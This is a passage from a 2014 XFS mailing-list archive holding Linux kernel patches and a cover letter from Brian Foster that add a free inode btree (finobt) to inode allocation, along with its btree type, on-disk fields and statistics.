2014 12:49:43 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 06/11] xfs: use and update the finobt on inode allocation Date: Tue, 4 Feb 2014 12:49:37 -0500 X-ASG-Orig-Subj: [PATCH v3 06/11] xfs: use and update the finobt on inode allocation Message-Id: <1391536182-9048-7-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Replace xfs_dialloc_ag() with an implementation that looks for a record in the finobt. The finobt only tracks records with at least one free inode. This eliminates the need for the intra-ag scan in the original algorithm. Once the inode is allocated, update the finobt appropriately (possibly removing the record) as well as the inobt. Move the original xfs_dialloc_ag() algorithm to xfs_dialloc_ag_slow() and fall back as such if finobt support is not enabled. Signed-off-by: Brian Foster --- fs/xfs/xfs_ialloc.c | 211 +++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 210 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index bdaab76..afc9840 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -723,7 +723,7 @@ xfs_ialloc_get_rec( * available. */ STATIC int -xfs_dialloc_ag( +xfs_dialloc_ag_slow( struct xfs_trans *tp, struct xfs_buf *agbp, xfs_ino_t parent, @@ -981,6 +981,215 @@ error0: return error; } +STATIC int +xfs_dialloc_ag( + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_ino_t parent, + xfs_ino_t *inop) +{ + struct xfs_mount *mp = tp->t_mountp; + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); + xfs_agnumber_t pagno = XFS_INO_TO_AGNO(mp, parent); + xfs_agino_t pagino = XFS_INO_TO_AGINO(mp, parent); + struct xfs_perag *pag; + struct xfs_btree_cur *cur; + struct xfs_btree_cur *tcur; + struct xfs_inobt_rec_incore rec; + struct xfs_inobt_rec_incore trec; + xfs_ino_t ino; + int error; + int offset; + int i, j; + + if (!xfs_sb_version_hasfinobt(&mp->m_sb)) + return xfs_dialloc_ag_slow(tp, agbp, parent, inop); + + pag = xfs_perag_get(mp, agno); + + /* + * If pagino is 0 (this is the root inode allocation) use newino. + * This must work because we've just allocated some. + */ + if (!pagino) + pagino = be32_to_cpu(agi->agi_newino); + + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_FINO); + + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error_cur; + + if (agno == pagno) { + /* + * We're in the same AG as the parent inode so allocate the + * closest inode to the parent. + */ + error = xfs_inobt_lookup(cur, pagino, XFS_LOOKUP_LE, &i); + if (error) + goto error_cur; + if (i == 1) { + error = xfs_inobt_get_rec(cur, &rec, &i); + if (error) + goto error_cur; + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); + + /* + * See if we've landed in the parent inode record. The + * finobt only tracks chunks with at least one free + * inode, so record existence is enough. + */ + if (pagino >= rec.ir_startino && + pagino < (rec.ir_startino + XFS_INODES_PER_CHUNK)) + goto alloc_inode; + } + + error = xfs_btree_dup_cursor(cur, &tcur); + if (error) + goto error_cur; + + error = xfs_inobt_lookup(tcur, pagino, XFS_LOOKUP_GE, &j); + if (error) + goto error_tcur; + if (j == 1) { + error = xfs_inobt_get_rec(tcur, &trec, &j); + if (error) + goto error_tcur; + XFS_WANT_CORRUPTED_GOTO(j == 1, error_tcur); + } + + if (i == 1 && j == 1) { + if ((pagino - rec.ir_startino + XFS_INODES_PER_CHUNK - 1) > + (trec.ir_startino - pagino)) { + rec = trec; + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + cur = tcur; + } else { + xfs_btree_del_cursor(tcur, XFS_BTREE_NOERROR); + } + } else if (j == 1) { + rec = trec; + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + cur = tcur; + } else { + xfs_btree_del_cursor(tcur, XFS_BTREE_NOERROR); + } + } else { + /* + * Different AG from the parent inode. Check the record for the + * most recently allocated inode. + */ + if (agi->agi_newino != cpu_to_be32(NULLAGINO)) { + error = xfs_inobt_lookup(cur, agi->agi_newino, + XFS_LOOKUP_EQ, &i); + if (error) + goto error_cur; + if (i == 1) { + error = xfs_inobt_get_rec(cur, &rec, &i); + if (error) + goto error_cur; + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); + goto alloc_inode; + } + } + + /* + * Allocate the first inode available in the AG. + */ + error = xfs_inobt_lookup(cur, 0, XFS_LOOKUP_GE, &i); + if (error) + goto error_cur; + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); + + error = xfs_inobt_get_rec(cur, &rec, &i); + if (error) + goto error_cur; + XFS_WANT_CORRUPTED_GOTO(i == 1, error_cur); + } + +alloc_inode: + offset = xfs_lowbit64(rec.ir_free); + ASSERT(offset >= 0); + ASSERT(offset < XFS_INODES_PER_CHUNK); + ASSERT((XFS_AGINO_TO_OFFSET(mp, rec.ir_startino) % + XFS_INODES_PER_CHUNK) == 0); + ino = XFS_AGINO_TO_INO(mp, agno, rec.ir_startino + offset); + + /* + * Modify or remove the finobt record. + */ + rec.ir_free &= ~XFS_INOBT_MASK(offset); + rec.ir_freecount--; + if (rec.ir_freecount) + error = xfs_inobt_update(cur, &rec); + else + error = xfs_btree_delete(cur, &i); + if (error) + goto error_cur; + + /* + * Lookup and modify the equivalent record in the inobt. + */ + tcur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); + + error = xfs_check_agi_freecount(tcur, agi); + if (error) + goto error_tcur; + + error = xfs_inobt_lookup(tcur, rec.ir_startino, XFS_LOOKUP_EQ, &i); + if (error) + goto error_tcur; + XFS_WANT_CORRUPTED_GOTO(i == 1, error_tcur); + + error = xfs_inobt_get_rec(tcur, &trec, &i); + if (error) + goto error_tcur; + XFS_WANT_CORRUPTED_GOTO(i == 1, error_tcur); + ASSERT((XFS_AGINO_TO_OFFSET(mp, trec.ir_startino) % + XFS_INODES_PER_CHUNK) == 0); + + trec.ir_free &= ~XFS_INOBT_MASK(offset); + trec.ir_freecount--; + + XFS_WANT_CORRUPTED_GOTO((rec.ir_free == trec.ir_free) && + (rec.ir_freecount == trec.ir_freecount), + error_tcur); + + error = xfs_inobt_update(tcur, &trec); + if (error) + goto error_tcur; + + /* + * Update the perag and superblock. + */ + be32_add_cpu(&agi->agi_freecount, -1); + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_FREECOUNT); + pag->pagi_freecount--; + + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -1); + + error = xfs_check_agi_freecount(tcur, agi); + if (error) + goto error_tcur; + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error_tcur; + + xfs_btree_del_cursor(tcur, XFS_BTREE_NOERROR); + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + xfs_perag_put(pag); + *inop = ino; + return 0; + +error_tcur: + xfs_btree_del_cursor(tcur, XFS_BTREE_ERROR); +error_cur: + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + xfs_perag_put(pag); + return error; +} + /* * Allocate an inode on disk. * -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:49:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0BA037F55 for ; Tue, 4 Feb 2014 11:49:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F1AA1304098 for ; Tue, 4 Feb 2014 09:49:46 -0800 (PST) X-ASG-Debug-ID: 1391536185-04cbb00c28f98e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id UAKCN9XQQxHB3YXm for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14HnjT9000952 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:45 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14HniIF002019 for ; Tue, 4 Feb 2014 12:49:44 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 52C041250A0; Tue, 4 Feb 2014 12:49:42 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type Date: Tue, 4 Feb 2014 12:49:34 -0500 X-ASG-Orig-Subj: [PATCH v3 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type Message-Id: <1391536182-9048-4-git-send-email-bfoster@redhat.com> In-Reply-To: <1391536182-9048-1-git-send-email-bfoster@redhat.com> References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Define the AGI fields for the finobt root/level and add magic numbers. Update the btree code to add support for the new XFS_BTNUM_FINOBT inode btree. The finobt root block is reserved immediately following the inobt root block in the AG. Update XFS_PREALLOC_BLOCKS() to determine the starting AG data block based on whether finobt support is enabled. Signed-off-by: Brian Foster --- fs/xfs/xfs_ag.h | 32 +++++++++++++++---------- fs/xfs/xfs_btree.c | 6 +++-- fs/xfs/xfs_btree.h | 3 +++ fs/xfs/xfs_format.h | 14 ++++++++++- fs/xfs/xfs_ialloc.c | 37 +++++++++++++++++++++++++---- fs/xfs/xfs_ialloc_btree.c | 60 +++++++++++++++++++++++++++++++++++++++++++++-- fs/xfs/xfs_log_recover.c | 2 ++ fs/xfs/xfs_stats.c | 1 + fs/xfs/xfs_stats.h | 18 +++++++++++++- fs/xfs/xfs_types.h | 2 +- 10 files changed, 150 insertions(+), 25 deletions(-) diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h index 3fc1098..5d3011f 100644 --- a/fs/xfs/xfs_ag.h +++ b/fs/xfs/xfs_ag.h @@ -164,22 +164,28 @@ typedef struct xfs_agi { __be32 agi_pad32; __be64 agi_lsn; /* last write sequence */ + __be32 agi_free_root; /* root of the free inode btree */ + __be32 agi_free_level;/* levels in free inode btree */ + /* structure must be padded to 64 bit alignment */ } xfs_agi_t; -#define XFS_AGI_MAGICNUM 0x00000001 -#define XFS_AGI_VERSIONNUM 0x00000002 -#define XFS_AGI_SEQNO 0x00000004 -#define XFS_AGI_LENGTH 0x00000008 -#define XFS_AGI_COUNT 0x00000010 -#define XFS_AGI_ROOT 0x00000020 -#define XFS_AGI_LEVEL 0x00000040 -#define XFS_AGI_FREECOUNT 0x00000080 -#define XFS_AGI_NEWINO 0x00000100 -#define XFS_AGI_DIRINO 0x00000200 -#define XFS_AGI_UNLINKED 0x00000400 -#define XFS_AGI_NUM_BITS 11 -#define XFS_AGI_ALL_BITS ((1 << XFS_AGI_NUM_BITS) - 1) +#define XFS_AGI_MAGICNUM (1 << 0) +#define XFS_AGI_VERSIONNUM (1 << 1) +#define XFS_AGI_SEQNO (1 << 2) +#define XFS_AGI_LENGTH (1 << 3) +#define XFS_AGI_COUNT (1 << 4) +#define XFS_AGI_ROOT (1 << 5) +#define XFS_AGI_LEVEL (1 << 6) +#define XFS_AGI_FREECOUNT (1 << 7) +#define XFS_AGI_NEWINO (1 << 8) +#define XFS_AGI_DIRINO (1 << 9) +#define XFS_AGI_UNLINKED (1 << 10) +#define XFS_AGI_NUM_BITS_R1 11 /* end of the 1st agi logging region */ +#define XFS_AGI_ALL_BITS_R1 ((1 << XFS_AGI_NUM_BITS_R1) - 1) +#define XFS_AGI_FREE_ROOT (1 << 11) +#define XFS_AGI_FREE_LEVEL (1 << 12) +#define XFS_AGI_NUM_BITS_R2 13 /* disk block (xfs_daddr_t) in the AG */ #define XFS_AGI_DADDR(mp) ((xfs_daddr_t)(2 << (mp)->m_sectbb_log)) diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 9adaae4..ee79f1e 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -43,9 +43,10 @@ kmem_zone_t *xfs_btree_cur_zone; * Btree magic numbers. */ static const __uint32_t xfs_magics[2][XFS_BTNUM_MAX] = { - { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, XFS_BMAP_MAGIC, XFS_IBT_MAGIC }, + { XFS_ABTB_MAGIC, XFS_ABTC_MAGIC, XFS_BMAP_MAGIC, XFS_IBT_MAGIC, + XFS_FIBT_MAGIC }, { XFS_ABTB_CRC_MAGIC, XFS_ABTC_CRC_MAGIC, - XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC } + XFS_BMAP_CRC_MAGIC, XFS_IBT_CRC_MAGIC, XFS_FIBT_CRC_MAGIC } }; #define xfs_btree_magic(cur) \ xfs_magics[!!((cur)->bc_flags & XFS_BTREE_CRC_BLOCKS)][cur->bc_btnum] @@ -1117,6 +1118,7 @@ xfs_btree_set_refs( xfs_buf_set_ref(bp, XFS_ALLOC_BTREE_REF); break; case XFS_BTNUM_INO: + case XFS_BTNUM_FINO: xfs_buf_set_ref(bp, XFS_INO_BTREE_REF); break; case XFS_BTNUM_BMAP: diff --git a/fs/xfs/xfs_btree.h b/fs/xfs/xfs_btree.h index 91e34f2..d2ac586 100644 --- a/fs/xfs/xfs_btree.h +++ b/fs/xfs/xfs_btree.h @@ -62,6 +62,7 @@ union xfs_btree_rec { #define XFS_BTNUM_CNT ((xfs_btnum_t)XFS_BTNUM_CNTi) #define XFS_BTNUM_BMAP ((xfs_btnum_t)XFS_BTNUM_BMAPi) #define XFS_BTNUM_INO ((xfs_btnum_t)XFS_BTNUM_INOi) +#define XFS_BTNUM_FINO ((xfs_btnum_t)XFS_BTNUM_FINOi) /* * For logging record fields. @@ -92,6 +93,7 @@ do { \ case XFS_BTNUM_CNT: __XFS_BTREE_STATS_INC(abtc, stat); break; \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_INC(bmbt, stat); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ + case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -105,6 +107,7 @@ do { \ case XFS_BTNUM_CNT: __XFS_BTREE_STATS_ADD(abtc, stat, val); break; \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_ADD(bmbt, stat, val); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ + case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h index b6ab5a3..d1def17 100644 --- a/fs/xfs/xfs_format.h +++ b/fs/xfs/xfs_format.h @@ -200,6 +200,8 @@ typedef __be32 xfs_alloc_ptr_t; */ #define XFS_IBT_MAGIC 0x49414254 /* 'IABT' */ #define XFS_IBT_CRC_MAGIC 0x49414233 /* 'IAB3' */ +#define XFS_FIBT_MAGIC 0x46494254 /* 'FIBT' */ +#define XFS_FIBT_CRC_MAGIC 0x46494233 /* 'FIB3' */ typedef __uint64_t xfs_inofree_t; #define XFS_INODES_PER_CHUNK (NBBY * sizeof(xfs_inofree_t)) @@ -242,7 +244,17 @@ typedef __be32 xfs_inobt_ptr_t; * block numbers in the AG. */ #define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) -#define XFS_PREALLOC_BLOCKS(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) +#define XFS_FIBT_BLOCK(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) + +/* + * The first data block of an AG depends on whether the filesystem was formatted + * with the finobt feature. If so, account for the finobt reserved root btree + * block. + */ +#define XFS_PREALLOC_BLOCKS(mp) \ + (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ + XFS_FIBT_BLOCK(mp) + 1 : \ + XFS_IBT_BLOCK(mp) + 1) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index ef3abd1..d99eb09 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1506,6 +1506,8 @@ xfs_ialloc_log_agi( offsetof(xfs_agi_t, agi_newino), offsetof(xfs_agi_t, agi_dirino), offsetof(xfs_agi_t, agi_unlinked), + offsetof(xfs_agi_t, agi_free_root), + offsetof(xfs_agi_t, agi_free_level), sizeof(xfs_agi_t) }; #ifdef DEBUG @@ -1515,14 +1517,39 @@ xfs_ialloc_log_agi( ASSERT(agi->agi_magicnum == cpu_to_be32(XFS_AGI_MAGIC)); #endif /* - * Compute byte offsets for the first and last fields. + * The growth of the agi buffer over time now requires that we interpret + * the buffer as two logical regions delineated at the end of the unlinked + * list. This is due to the size of the hash table and its location in the + * middle of the agi. + * + * For example, a request to log a field before agi_unlinked and a field + * after agi_unlinked could cause us to log the entire hash table and use + * an excessive amount of log space. To avoid this behavior, log the + * region up through agi_unlinked in one call and the region after + * agi_unlinked through the end of the structure in another. */ - xfs_btree_offsets(fields, offsets, XFS_AGI_NUM_BITS, &first, &last); + xfs_trans_buf_set_type(tp, bp, XFS_BLFT_AGI_BUF); + /* - * Log the allocation group inode header buffer. + * Compute byte offsets for the first and last fields in the first + * region and log agi buffer. This only logs up through agi_unlinked. */ - xfs_trans_buf_set_type(tp, bp, XFS_BLFT_AGI_BUF); - xfs_trans_log_buf(tp, bp, first, last); + if (fields & XFS_AGI_ALL_BITS_R1) { + xfs_btree_offsets(fields, offsets, XFS_AGI_NUM_BITS_R1, + &first, &last); + xfs_trans_log_buf(tp, bp, first, last); + } + + /* + * Mask off the bits in the first region and calculate the first and last + * field offsets for any bits in the second region. + */ + fields &= ~XFS_AGI_ALL_BITS_R1; + if (fields) { + xfs_btree_offsets(fields, offsets, XFS_AGI_NUM_BITS_R2, + &first, &last); + xfs_trans_log_buf(tp, bp, first, last); + } } #ifdef DEBUG diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index 2d1a398..16212dc 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -67,6 +67,21 @@ xfs_inobt_set_root( xfs_ialloc_log_agi(cur->bc_tp, agbp, XFS_AGI_ROOT | XFS_AGI_LEVEL); } +STATIC void +xfs_finobt_set_root( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *nptr, + int inc) /* level change */ +{ + struct xfs_buf *agbp = cur->bc_private.a.agbp; + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); + + agi->agi_free_root = nptr->s; + be32_add_cpu(&agi->agi_free_level, inc); + xfs_ialloc_log_agi(cur->bc_tp, agbp, + XFS_AGI_FREE_ROOT | XFS_AGI_FREE_LEVEL); +} + STATIC int xfs_inobt_alloc_block( struct xfs_btree_cur *cur, @@ -174,6 +189,17 @@ xfs_inobt_init_ptr_from_cur( ptr->s = agi->agi_root; } +STATIC void +xfs_finobt_init_ptr_from_cur( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr) +{ + struct xfs_agi *agi = XFS_BUF_TO_AGI(cur->bc_private.a.agbp); + + ASSERT(cur->bc_private.a.agno == be32_to_cpu(agi->agi_seqno)); + ptr->s = agi->agi_free_root; +} + STATIC __int64_t xfs_inobt_key_diff( struct xfs_btree_cur *cur, @@ -204,6 +230,7 @@ xfs_inobt_verify( */ switch (block->bb_magic) { case cpu_to_be32(XFS_IBT_CRC_MAGIC): + case cpu_to_be32(XFS_FIBT_CRC_MAGIC): if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) @@ -215,6 +242,7 @@ xfs_inobt_verify( return false; /* fall through */ case cpu_to_be32(XFS_IBT_MAGIC): + case cpu_to_be32(XFS_FIBT_MAGIC): break; default: return 0; @@ -316,6 +344,28 @@ static const struct xfs_btree_ops xfs_inobt_ops = { #endif }; +static const struct xfs_btree_ops xfs_finobt_ops = { + .rec_len = sizeof(xfs_inobt_rec_t), + .key_len = sizeof(xfs_inobt_key_t), + + .dup_cursor = xfs_inobt_dup_cursor, + .set_root = xfs_finobt_set_root, + .alloc_block = xfs_inobt_alloc_block, + .free_block = xfs_inobt_free_block, + .get_minrecs = xfs_inobt_get_minrecs, + .get_maxrecs = xfs_inobt_get_maxrecs, + .init_key_from_rec = xfs_inobt_init_key_from_rec, + .init_rec_from_key = xfs_inobt_init_rec_from_key, + .init_rec_from_cur = xfs_inobt_init_rec_from_cur, + .init_ptr_from_cur = xfs_finobt_init_ptr_from_cur, + .key_diff = xfs_inobt_key_diff, + .buf_ops = &xfs_inobt_buf_ops, +#if defined(DEBUG) || defined(XFS_WARN) + .keys_inorder = xfs_inobt_keys_inorder, + .recs_inorder = xfs_inobt_recs_inorder, +#endif +}; + /* * Allocate a new inode btree cursor. */ @@ -334,11 +384,17 @@ xfs_inobt_init_cursor( cur->bc_tp = tp; cur->bc_mp = mp; - cur->bc_nlevels = be32_to_cpu(agi->agi_level); cur->bc_btnum = btnum; + if (btnum == XFS_BTNUM_INO) { + cur->bc_nlevels = be32_to_cpu(agi->agi_level); + cur->bc_ops = &xfs_inobt_ops; + } else { + cur->bc_nlevels = be32_to_cpu(agi->agi_free_level); + cur->bc_ops = &xfs_finobt_ops; + } + cur->bc_blocklog = mp->m_sb.sb_blocklog; - cur->bc_ops = &xfs_inobt_ops; if (xfs_sb_version_hascrc(&mp->m_sb)) cur->bc_flags |= XFS_BTREE_CRC_BLOCKS; diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 07ab52c..e9a013b6 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2135,7 +2135,9 @@ xlog_recover_validate_buf_type( bp->b_ops = &xfs_allocbt_buf_ops; break; case XFS_IBT_CRC_MAGIC: + case XFS_FIBT_CRC_MAGIC: case XFS_IBT_MAGIC: + case XFS_FIBT_MAGIC: bp->b_ops = &xfs_inobt_buf_ops; break; case XFS_BMAP_CRC_MAGIC: diff --git a/fs/xfs/xfs_stats.c b/fs/xfs/xfs_stats.c index ce372b7..f224038 100644 --- a/fs/xfs/xfs_stats.c +++ b/fs/xfs/xfs_stats.c @@ -59,6 +59,7 @@ static int xfs_stat_proc_show(struct seq_file *m, void *v) { "abtc2", XFSSTAT_END_ABTC_V2 }, { "bmbt2", XFSSTAT_END_BMBT_V2 }, { "ibt2", XFSSTAT_END_IBT_V2 }, + { "fibt2", XFSSTAT_END_FIBT_V2 }, /* we print both series of quota information together */ { "qm", XFSSTAT_END_QM }, }; diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index c03ad38..c8f238b 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -183,7 +183,23 @@ struct xfsstats { __uint32_t xs_ibt_2_alloc; __uint32_t xs_ibt_2_free; __uint32_t xs_ibt_2_moves; -#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_IBT_V2+6) +#define XFSSTAT_END_FIBT_V2 (XFSSTAT_END_IBT_V2+15) + __uint32_t xs_fibt_2_lookup; + __uint32_t xs_fibt_2_compare; + __uint32_t xs_fibt_2_insrec; + __uint32_t xs_fibt_2_delrec; + __uint32_t xs_fibt_2_newroot; + __uint32_t xs_fibt_2_killroot; + __uint32_t xs_fibt_2_increment; + __uint32_t xs_fibt_2_decrement; + __uint32_t xs_fibt_2_lshift; + __uint32_t xs_fibt_2_rshift; + __uint32_t xs_fibt_2_split; + __uint32_t xs_fibt_2_join; + __uint32_t xs_fibt_2_alloc; + __uint32_t xs_fibt_2_free; + __uint32_t xs_fibt_2_moves; +#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_FIBT_V2+6) __uint32_t xs_qm_dqreclaims; __uint32_t xs_qm_dqreclaim_misses; __uint32_t xs_qm_dquot_dups; diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h index 82bbc34..65c6e66 100644 --- a/fs/xfs/xfs_types.h +++ b/fs/xfs/xfs_types.h @@ -134,7 +134,7 @@ typedef enum { typedef enum { XFS_BTNUM_BNOi, XFS_BTNUM_CNTi, XFS_BTNUM_BMAPi, XFS_BTNUM_INOi, - XFS_BTNUM_MAX + XFS_BTNUM_FINOi, XFS_BTNUM_MAX } xfs_btnum_t; struct xfs_name { -- 1.8.1.4 From bfoster@redhat.com Tue Feb 4 11:49:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 32DEF7F56 for ; Tue, 4 Feb 2014 11:49:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6513AC004 for ; Tue, 4 Feb 2014 09:49:46 -0800 (PST) X-ASG-Debug-ID: 1391536185-04cbb00c29f98d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id vTpFhC7f8VrajfWq for ; Tue, 04 Feb 2014 09:49:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14HniCU000942 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 4 Feb 2014 12:49:44 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14Hnich002017 for ; Tue, 4 Feb 2014 12:49:44 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id E55BB1250A2; Tue, 4 Feb 2014 12:49:42 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 00/11] xfs: introduce the free inode btree Date: Tue, 4 Feb 2014 12:49:31 -0500 X-ASG-Orig-Subj: [PATCH v3 00/11] xfs: introduce the free inode btree Message-Id: <1391536182-9048-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391536185 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi all, Here's a small update of the finobt work. Previous version here: http://oss.sgi.com/archives/xfs/2013-11/msg00404.html This series is rebased on the latest master and contains a few very minor fixes. Thoughts, reviews, flames appreciated. Brian v3: - Rebased to latest master. - Fixed up unused variable warning in xfs_difree_inobt(). - Replaced a few more typedefs. v2: - Rebase to latest xfs tree (minor shifting around of some header bits). - Added "xfs: report finobt status in fs geometry" patch to series. v1: - Separate patch to enable rw finobt support at end of series. - Rework xfs_ialloc_log_agi() to log the agi in two distinct regions. - Rework xfs_ialloc_btree.c changes to use separate finobt handlers where appropriate. - Fix bug to show fibt2 stats data in stat proc file. - Move finobt log reservation calculations into separate helper, made conditional and merged to a single patch. - Use reserved block pool in xfs_inactive() codepath instead of flush. - Moved and cleaned up xfs_inobt_insert() to use inobt helpers. - Enhanced lookup algorithm for allocation (xfs_dialloc_ag()). - Refactored xfs_difree() to use xfs_difree_inobt() and xfs_difree_finobt(), cleaned up the latter. Brian Foster (11): xfs: refactor xfs_ialloc_btree.c to support multiple inobt numbers xfs: reserve v5 superblock read-only compat. feature bit for finobt xfs: support the XFS_BTNUM_FINOBT free inode btree type xfs: update inode allocation/free transaction reservations for finobt xfs: insert newly allocated inode chunks into the finobt xfs: use and update the finobt on inode allocation xfs: refactor xfs_difree() inobt bits into xfs_difree_inobt() helper xfs: update the finobt on inode free xfs: add finobt support to growfs xfs: report finobt status in fs geometry 